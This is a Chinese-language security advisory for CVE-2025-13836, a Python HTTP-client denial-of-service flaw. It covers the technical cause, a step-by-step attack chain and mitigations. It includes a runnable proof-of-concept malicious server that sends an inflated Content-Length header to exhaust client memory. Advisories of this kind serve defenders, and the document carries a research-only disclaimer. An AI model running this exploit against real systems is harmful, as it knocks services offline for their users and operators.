IPBUF安全漏洞报告
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CVE-2025-13836 CVSS 7.5 高危

CVE-2025-13836: Python HTTP客户端Content-Length导致的拒绝服务漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-13836
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Python (urllib/http.client)

相关标签

拒绝服务内存耗尽PythonurllibHTTP客户端CVE-2025-13836高危漏洞DoS网络攻击

漏洞概述

CVE-2025-13836是Python标准库中的一个高危拒绝服务漏洞。该漏洞存在于Python的HTTP客户端实现中,当使用urllib等模块从HTTP服务器读取响应时,如果未明确指定读取的数据量,系统会默认使用Content-Length头字段的值作为读取长度。攻击者可以构造一个恶意HTTP服务器,返回一个极大的Content-Length值(远超实际发送的数据量),迫使Python客户端尝试分配巨量内存来存储响应数据。这种行为可能导致目标系统发生内存耗尽(Out of Memory,OOM)情况,进而引发拒绝服务攻击。由于该漏洞利用简单、无需认证且可通过网络远程触发,对使用Python HTTP客户端的应用构成严重威胁。CVSS评分7.5分,属于高危漏洞。

技术细节

漏洞根源在于Python的http.client模块和urllib.request模块在处理HTTP响应时的默认行为。当调用read()方法且未指定size参数时,代码会优先使用Content-Length头来确定要读取的字节数。恶意服务器可以发送一个包含巨大Content-Length值(如9999999999)的HTTP响应头,但实际只发送很少的数据或根本不发送数据。客户端收到响应头后会尝试预分配相应大小的缓冲区,导致内存快速消耗。攻击者通过持续发送此类恶意响应,可以耗尽目标系统的所有可用内存。此外,该漏洞可能被用于绕过某些安全限制或导致应用程序崩溃,影响服务的可用性。修复方案包括限制单次读取的数据量大小,或在读取前验证Content-Length与实际可读数据的一致性。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意HTTP服务器,监听特定端口
STEP 2
步骤2
恶意服务器构造HTTP响应,在Content-Length头中填写远超实际数据的巨大数值(如9999999999)
STEP 3
步骤3
目标应用使用Python urllib或http.client向恶意服务器发起HTTP请求
STEP 4
步骤4
Python HTTP客户端收到响应头后,根据Content-Length值预分配内存缓冲区
STEP 5
步骤5
客户端尝试读取数据时,由于实际数据远小于声明的大小,导致内存快速消耗
STEP 6
步骤6
系统内存耗尽,触发OOM Killer或程序崩溃,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
""" CVE-2025-13836 PoC - Malicious HTTP Server This script simulates a malicious server that exploits the Content-Length vulnerability in Python's HTTP client to cause memory exhaustion on the client side. """ import socket import threading import time def handle_client(client_socket): """Handle incoming client connection with malicious Content-Length""" try: # Read HTTP request (we don't really need to process it) request = client_socket.recv(4096) # Send malicious HTTP response with huge Content-Length # The actual body is minimal, but Content-Length claims huge size malicious_response = ( "HTTP/1.1 200 OK\r\n" "Content-Type: text/plain\r\n" "Content-Length: 9999999999\r\n" # Huge fake size "\r\n" "Small payload - rest is never sent\n" ) client_socket.send(malicious_response.encode()) time.sleep(30) # Keep connection alive except Exception as e: print(f"Error: {e}") finally: client_socket.close() def start_malicious_server(port=8888): """Start the malicious HTTP server""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(5) print(f"Malicious server listening on port {port}") while True: client, addr = server.accept() print(f"Connection from: {addr}") client_handler = threading.Thread(target=handle_client, args=(client,)) client_handler.start() # Client-side exploit demonstration def exploit_client(target_host, target_port=8888): """ Vulnerable client code - DO NOT USE IN PRODUCTION This demonstrates how Python HTTP client can be exploited """ import http.client connection = http.client.HTTPConnection(target_host, target_port) connection.request("GET", "/") response = connection.getresponse() # This is the vulnerable part - read() without size limit # Will attempt to allocate massive buffer based on Content-Length try: data = response.read() # Vulnerable: no size limit print(f"Read {len(data)} bytes") except MemoryError: print("Memory exhaustion triggered!") if __name__ == "__main__": print("=== CVE-2025-13836 PoC ===") print("Start server: python cve-2025-13836_poc.py") start_malicious_server()

影响范围

Python 3.x < 3.13 (all versions with vulnerable urllib/http.client)

防御指南

临时缓解措施
在等待官方补丁期间,可采取以下临时缓解措施:1) 为HTTP请求设置合理的超时时间(timeout),避免长时间等待;2) 使用自定义的HTTP响应读取逻辑,在读取前检查Content-Length值是否超过预设阈值(如100MB),超过则拒绝处理;3) 限制应用的内存使用上限,使用cgroups或容器资源限制;4) 监控应用的内存使用情况,设置告警阈值以便及时发现异常;5) 优先使用HTTPS并验证服务器证书,减少遭受中间人攻击的风险。

参考链接

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